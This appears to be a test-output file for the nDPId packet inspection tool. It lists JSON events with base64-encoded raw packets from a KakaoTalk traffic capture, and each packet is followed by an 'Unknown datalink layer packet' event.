+00589{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1732,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":729712,"pkt_caplen":211,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":211,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAMMAAEAAHBH9twHJAa4KGFK8WgYoHACvbWOAbFAziz9AmguGVRlgC3S8plQmnkoIwlFdEcyzQWfX1RKU9OmwrrhmVLHY6VsZY25oBXLasT+ZhtPWYFcmkWYl0SnOSIbJqLBVVC06sLCCGlIVgQsyWoFIWjKJJsqhCJkyiSKK40sJG+z1IH+sRapD1dOVmhhq2tJ+ccPlF8c85GGhZWkupdlcy2ebBm8\/5ny+5yHaAoLJtATTGS2ZcwkxSZ25rappeg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1732,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00579{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1733,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":729987,"pkt_caplen":204,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":204,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALwAAEAAHBH9vgHJAa4KGFK8WgYoHACoomWAbFA2iz9L2guGVRntlVjiVR\/W0hWuAAxmni7\/wzEHbc7azun6YklTq+0dxkHIZ3o8KYCe2NZA88FYdLVIYkbGwJ07ha6gqUvvG0nce+1FRyTpAeRhEI4AmN432o1ejM9Xi+z9gqKWYmcMaFTD0OBuwn5HKmBs\/FRaBSguiYRvUVNWqnfadkY5qFL73Kh7DXhkcJbkBtGhW3jzAY1aiqYC"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1733,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00560{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1734,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":730078,"pkt_caplen":188,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":188,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKwAAEAAHBH9zgHJAa4KGFK8WgYoHACY+lSAbFA0iz9EWguGVRn58EyH\/hlmoFiXaB4eO2YWxYJ2csPtwYt2cY6\/MqcyBWD0SCzIhR7vdH+P0ZM8E59OIvcauIrWQzNopcy40+NtemXbBzgypF7gYRjnpDKdQB1TZ7WrpD5k9ym\/osEuTQcuZvVtt00LxjhTQCIXnGRIpI\/YZKRwzegVyRBpUjtAWgznT0o="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1734,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00567{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1735,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":730170,"pkt_caplen":195,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":195,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALMAAEAAHBH9xwHJAa4KGFK8WgYoHACfBS2AbFA1iz9IGguGVRnZbkKK2WQmqtoGnJxj3jeM0o4TWcl0mnXxUUDGY0jL+de4ulFXDNS5yFXecEY1RmPE252Yq86nrv9\/xCyf3r+DinZjhsZ43u1tGnXj1EtpEFTQvVbD7NaLJ8YtU4X5blhzHQNIA8EKS44KNshZ0xo6qXYFm5EqD14L3HZq+jpGakHZ85zW\/\/83ibhg"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1735,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1736,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":741004,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/7oWAbDLlfq9HQ1Sapdo1D4rNhMzFvR8YY+9h8lVOcCPLu0RIybA2RsXW3hroi8XWEO+B+9u\/t\/Z9"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1736,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00596{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1737,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":747351,"pkt_caplen":216,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":216,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAMgAAEAAHBH9sgHJAa4KGFK8WgYoHAC0IxiAbFA3iz9PmguGVRnddQ8sxWP4Cqj+kJdOMcNTifxhFfjhI8p2YIq8i\/jlTIPWKjmI07qP2FHED\/aJ1NFan9mbqtnKYtgWq7jA8VAtxhijeAQI7bin6c\/WLyTd39OHP6cl6ZnzgbvAUvoaTgUpxKYOTR9AkX+9tfZt5DGBw0UxyPfv3\/54InfalXRpnmiHzTgI0RJX8qji5Zi3rfgrUnaEFjOBhmls9Y+SyiGH"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1737,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1738,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":747534,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/XQGAbDK9fq6xQ1SapdrNuN3Ek4nyYFm4ZuLGmyg3raxm8if7bkpI2VxQqTt\/5hstIYmrfn770B9N"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1738,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1739,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":797400,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/DoGAbDLmfq9LA1Sapdrgf2RKXYk0Rwv55xYAmFJNFL098HMgvN1YMFS06aB063D5fhuUkGW+EPby"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1739,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00441{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1740,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":811866,"pkt_caplen":101,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":101,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFUAAEAAPxHbTQoYUrwByQGuLDhaBABBWr6AbFBgiz\/pWguGVRkwTFWgFdruboRU2eMHUgXgkKrAwZ3YkFD2WynAg3Hv+TKLi+XYCsDFjb0AZCo="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1740,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00454{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1741,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":811927,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF0AAEAAPxHbRQoYUrwByQGuLDhaBABJDsuAbFBhiz\/tGguGVRmy8bAhFLOCtFT8QpmAX7zuS12PdooLspNx3k4TxO+vs10UubS\/OhotH7qgtjUUq4CJoUoC4A=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1741,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1742,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":837378,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/Oc+AbDLnfq9Ow1SapdoOD5mmujatMJpHXm76vsXntqwNHNiSMy0cIc4CA8zyhbpvMv20ZXNZ4VL5"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1742,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00441{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1743,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":918433,"pkt_caplen":100,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":100,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFQAAEAAPxHbTgoYUrwByQGuLDhaBABA8m+AbFBiiz\/w2guGVRn4DahNZ4P+u3QVAPL4rCMsz1I2OoT+opNI4Go5KXaqepVib8A9QRNfVsiAvQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1743,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1744,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":924658,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/dsyAbDLofq9Sg1Sapdqzni1V76MIB+4++QD9ltS6lv5ku4LcErzUNNwRAmSaNo3ZYhzENyrqhL1T"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1744,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1745,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":959418,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/otWAbDK+fq61A1SapdotLrfmQAUxaLO1zLpqnfSx3qxm1IstmmIqg4ENh3w+KwtTUl+jf0\/OoTSQ"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1745,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1746,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":960089,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/WrCAbDK\/fq64w1SapdpuQvRT8j2GFx1GBbKaOmEPZG\/4axLok7YQVfFdq0LsqRYIiPzFNOtCyWEq"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1746,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1747,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":963385,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/DduAbDLAfq68g1SapdrQln7bvV\/HRLWT5m\/Af0j4LxwjgPceV0po6P9NokGHky+52bdAKPoJofKQ"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1747,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1748,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":963935,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF0AAEAAHBH+HQHJAa4KGFK8WgYoHABJ7ouAbFA5iz9XGguGVRnxevio67B4ITDPBWfAADTnBWxzx0tfGjdz3ULq0HWmkSehpeKJ+EgE07xlfTYUg2di78\/v0A=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1748,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1749,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":964087,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/hyGAbDLBfq7AQ1SapdqKQOgydc0mUgMm8yMK8+pABGxwsfctRS1hPMOns2EZe47Tpwbf7psyaevt"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1749,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1750,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":964637,"pkt_caplen":110,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF4AAEAAHBH+HAHJAa4KGFK8WgYoHABKx4OAbFA6iz9a2guGVRnh0hUDXM19toaXi3AuqiSxlrhnM44Ith47NB5+d2DCCPdvXESAz2VeU5KsY5sonL5+Y6cYmuE="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1750,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00534{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1751,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":967475,"pkt_caplen":171,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":171,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJsAAEAAHBH93wHJAa4KGFK8WgYoHACHN4mAbFA7iz9emguGVRkgbE97Ohzdri9oOzp9eOLVp57bADM3RwV9J3rflISOdo47fFbIbiYTUqE4m7FECQGaUm8XXTJDRRTBEdlG\/ynjuBMyBlG+v+D1sdBtE4NrMshhQ9OeqQWW\/dtfK1FiuwTkXe8EYj44iLlySI4Pyxr0Cffg"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1751,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00494{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1752,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":967597,"pkt_caplen":139,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":139,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHsAAEAAHBH9\/wHJAa4KGFK8WgYoHABnrwmAbFA4iz9TWguGVRnY\/4SLy+NBPGkTPybJrFYkKhTBGcu53zl0PPM35sxrulM1v7FGTM+GDF9aqM0iBa8TzhL9tKRbuTwGmepKVRna203llHT9LUfa5PLbtoXuARerGg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1752,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00557{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1753,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":967688,"pkt_caplen":187,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":187,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKsAAEAAHBH9zwHJAa4KGFK8WgYoHACX8ESAbFA8iz9iWguGVRn5Wbiy4tM4LIOF4HJkUZ1JkUz9WX7TkJOYJTK7PpQFOFO+o\/cwapTpI368FnDZWGQ0qmYvxvxOfVN7HgpoBqhMizDLllpE8JYWXyE3Ac78ZGYMMA0AEqB8CZlli3z+Imls9oW4Tv9+MZstp23PlqQVLGoguvrLsGAG0C5uNUwuUUHUMA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1753,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00477{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1754,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":967749,"pkt_caplen":129,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":129,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHEAAEAAHBH+CQHJAa4KGFK8WgYoHABdv1aAbFA9iz9mGguGVRkiCYfbfd8d3ehf4uWMkmVGznza0yJsb85GLvSjRyptelYWwxuZ6dgsJHRcqh+K2npQRs0OlWESBdFYt5+3B0SyrDe\/DXwId+Je"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1754,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00469{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1755,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":967841,"pkt_caplen":123,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":123,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGsAAEAAHBH+DwHJAa4KGFK8WgYoHABXMr6AbFA+iz9p2guGVRnOmANmPbRDguM6FPcUlF8PvG4YFKtnOzft4GIoUmZ4soShWb1XdvQGHWAlhrZ6\/1s94FkS7a2cFLliyPbH1icC1uCj"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1755,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00534{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1756,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":967932,"pkt_caplen":171,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":171,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJsAAEAAHBH93wHJAa4KGFK8WgYoHACHuc2AbFBBiz91GguGVRnkXmagTFOyVPfwDT6jMacDq4EAVyLpn4aHI3ND9RK\/8madx01SfAhwpTipK2AURzaIeh9b0HcxX+GJFDNmXwIBcBa5t6U4dwyYE\/OX+tOZjhXagLQM26JvkWxeREnTcOtLWQa8tZjbeVwu9BkUXVQ5c3uO"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1756,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00561{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1757,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":971533,"pkt_caplen":187,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":187,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKsAAEAAHBH9zwHJAa4KGFK8WgYoHACX5DWAbFA\/iz9tmguGVRlU+7x8tOph+GQvFevFb4vR\/6PozE9NBuTzVN\/CQ+NgkfF58wwMc9QRz9lhBWSJnfsNByHEVJ+518WmaUh3vc+ZAkCDhAe3CsVzYrP7c5qjllIceGEaBU0\/JQPWeH+mU+SZdUWA74hwOKKfLSlyihLlUOK5pdHa96Xax0cUhvQ\/sy4EYg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1757,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00456{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1758,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":971656,"pkt_caplen":112,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":112,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGAAAEAAHBH+GgHJAa4KGFK8WgYoHABM8LaAbFBAiz9xWguGVRkrRsvrZjAGdWwN3vQGbsB6qoVRFwK2CS4Uzvq0aAPb5iDg2fMjd9MuNg6YskOn9q5jh3VqrgOsFA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1758,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00498{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1759,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":971747,"pkt_caplen":142,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":142,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAH4AAEAAHBH9\/AHJAa4KGFK8WgUsOQBq4N+ByAAMVJql2qYHTBmisFcajp0EBzJIsXNCI++jKLyUklMRwfvVOkhq4VlS+ZS5LqHSTfw95iC5n4BT8q1ZYniPaEa8ctbh965scWdcRsJoQbPVG66AAAAH\/sDFLyAvKUy5Ug=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1759,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1760,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":972357,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/qMeAbDLDfq7Hw1Sapdoqbpz+9yP+wzocxxekOC4Ticond4c9NkUOpuCELi4sFfvP336H6kdkVWUz"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1760,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1761,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":972907,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/0TeAbDLFfq7PQ1SapdoJmUR35GuRyJ9pMJeFRCMGlPnUT6x8jn5GkHg4MEyQ1sm4ghVn1MmvlATa"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1761,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1762,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":973487,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/pA6AbDLCfq7EA1Sapdq+mnvSS7aAJHuWs5x8fmNVfk6UHRl7r6n4Xo\/Y01MJhLoY1kW3\/ElSmucC"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1762,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1763,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":974036,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/tO6AbDLEfq7Lg1Sapdr34uem9MxC3nsCgy94Waf7cEsG7w6kfjQ9JUcNmEzai52Siu3dXC7+f2yH"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1763,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1764,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":974555,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/9DCAbDLHfq7Ww1Sapdp2OKUBDYfEpXx+lGLAQ1KYHnuduY+Jr3mLAw9lQEKKWspO0haxp+4cvhC2"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1764,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1765,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069196,"pkt_ts_usec":975043,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/WZuAbDLGfq7TA1SapdrpIc70+fTUiPiAL+uWFcNVaCaKYsGxboIgX00NJMK7FJjdWpU92Uoe\/hvO"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1765,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} 